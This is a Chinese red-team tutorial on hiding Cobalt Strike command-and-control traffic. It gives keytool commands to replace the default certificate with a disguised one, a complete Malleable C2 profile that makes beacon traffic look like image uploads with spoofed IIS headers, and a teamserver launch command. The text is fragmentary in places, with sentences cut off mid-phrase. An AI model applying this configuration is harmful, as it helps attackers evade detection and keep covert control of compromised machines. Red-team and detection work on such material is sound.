文章来源:LemonSec
0x00 前言
Cobalt Strike
的特征进行隐藏、对其通信流量进行混淆。Malleable C2
修改流量特征与修改默认端口三种方式。0x01 修改证书特征
Cobalt Strike
自带的证书特征过于明显,多数安全设备会基于证书特征进行检测,我们需要修改默认证书中的各种特征来达到隐藏自己的目的。1.1 keytools 简介
keytools
是一个 Java
数据证书的管理工具,keytools
将密钥(key)和证书(certificates)存在一个称为 keystore
的文件中。1.2 替换默认证书
keytools
,这里以删除原有证书新建一个无 CS 特征的证书为例。keytools
新建无特征证书keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias google.com -dname "CN=(aa), OU=(bb), O=(cc), L=(dd), ST=(ee), C=(ff)"
(3)修改证书标准并应用
keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12
Cobalt Strike
默认使用名称为 cobaltstrike.store
的证书,可在 teamserver
文件中更改。keytool -list -v -keystore cobaltstrike.store
0x02 Malleable C2
Malleable C2
是 Cobalt Strike
的一项功能, 意为 "可定制的" 的 C2 服务器。2.1 自定义流量特征
.profile
为后缀的文件,此处以定制一份伪装为图片传输的配置文件为例,文件内容基本分为三部分:(1)基本设置
set sample_name "imgtest";
set sleeptime "5000"; # 心跳包时间
set jitter "0"; # 默认的抖动因子(0-99%)
set maxdns "255"; # 通过DNS上传数据时的主机名最大长度(0-255)
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; # http通信使用的用户代理
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append ".jpg"; # 传输内容自动追加的后缀
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64; # 加密方式(base64、base64url、netbios、netbiosu)
print;
}
}
}
http-post {
set uri "/email/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".png";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
2.2 流量特征测试
.prifile
包后利用 c2lint
校验文件可用性。(2)开启服务端并上线靶机测试。
./teamserver 10.10.10.10 123456 c2-profile/imgtest.profile
(3)执行测试命令后抓取伪造的 GET 流量包。
(4)伪造后的 POST 包。
0x03 默认端口配置
Cobalt Strike
默认通信端口可在 teamserver
配置文件中修改,同时可以修改使用的默认证书名称及证书密码。0x04 总结
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
References
[1]
Malleable C2:推荐文章++++
本文始发于微信公众号(黑白之道):『红蓝对抗』Cobalt Strike 特征隐藏与流量混淆
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论